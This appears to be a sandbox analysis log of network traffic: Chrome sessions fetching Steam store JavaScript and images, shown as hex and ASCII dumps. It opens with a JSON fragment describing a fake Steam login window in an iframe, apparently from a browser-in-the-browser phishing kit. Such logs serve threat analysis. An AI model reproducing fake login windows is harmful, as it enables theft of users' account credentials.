11f{"success":true,"service":"Steam","iframe":true,"timestamp":1728216503868.249,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{
2024-10-06 12:08:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49754	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	570	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=8669507 Expires: Tue, 14 Jan 2025 20:20:10 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Length: 24657 Connection: close
2024-10-06 12:08:23 UTC	16038	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-06 12:08:24 UTC	8619	IN	Data Raw: d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	414	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	352	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "XsgODqUOlVw9" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=14488530 Expires: Sun, 23 Mar 2025 04:43:54 GMT Date: Sun, 06 Oct 2024 12:08:24 GMT Content-Length: 14447 Connection: close
2024-10-06 12:08:24 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49758	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	450	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Me1IBxzktiwk" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=13500158 Expires: Tue, 11 Mar 2025 18:11:02 GMT Date: Sun, 06 Oct 2024 12:08:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:24 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-06 12:08:24 UTC	15787	IN	Data Raw: 20 66 6f 72 20 62 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 Data Ascii: for backwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: functi
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: effect.effects[0].element.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); }
2024-10-06 12:08:24 UTC	998	IN	Data Raw: 2e 69 6e 64 69 63 61 74 6f 72 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a 20 20 Data Ascii: .indicator); }, onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC:
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-06 12:08:24 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-06 12:08:24 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
2024-10-06 12:08:24 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-06 12:08:24 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49759	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	412	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	346	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "sjouo3-33Gox" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=13737653 Expires: Fri, 14 Mar 2025 12:09:17 GMT Date: Sun, 06 Oct 2024 12:08:24 GMT Content-Length: 9318 Connection: close
2024-10-06 12:08:24 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49761	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	728	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
2024-10-06 12:08:24 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49760	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	687	OUT	GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	271	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 144661 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-23515" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
2024-10-06 12:08:24 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 21 00 00 01 f4 08 06 00 00 00 03 b9 37 c5 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR!7tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 12:08:24 UTC	16384	IN	Data Raw: 9e aa a0 da dc 30 ae e7 f1 28 c0 72 f5 cc 28 2d 0e d9 6b 15 75 70 34 6d 98 91 1d d5 fd 1c ec 45 88 50 71 00 10 59 ca 49 75 cd 2c e5 65 14 40 41 9d cf 83 80 4b 24 7e 59 11 18 19 e1 d5 49 b1 08 61 bd 0d d3 23 68 2a c0 ae 68 37 54 4e 7c 46 ac 46 31 8f 43 b0 1d 16 6d 37 00 51 91 69 4d 38 21 fb 0c 3c 93 ba 1f 98 f1 68 d7 19 9f 26 04 82 0a e9 b2 84 e0 ff 29 da 2b 77 ec e7 4a 65 13 b6 a7 dc 55 0d 21 c4 b1 56 fd d7 57 12 03 4a 1a c6 57 af a2 d1 d1 17 72 61 8e 6f 12 62 b7 6f 45 3c 28 20 14 4d 18 54 43 5d 09 c9 47 13 f6 15 8b 8d 2a 2c 65 c0 11 60 ce 63 dc 30 66 2b 36 de 0c e4 b2 d3 4d 14 aa 7e 25 c2 44 e9 27 06 24 66 ea b7 33 92 49 71 44 2a 82 8d 69 19 64 00 f5 38 81 53 03 a0 1d 39 fc 4c cb 62 a6 2f 99 46 07 3a a1 fc 05 40 03 00 bd 2b 42 68 01 c0 78 65 df 15 b9 83 Data Ascii: 0(r(-kup4mEPqYIu,e@AK$~YIa#hh7TN\|FF1Cm7QiM8!<h&)+wJeU!VWJWraoboE<( MTC]G,e`c0f+6M~%D'$f3IqD*id8S9Lb/F:@+Bhxe
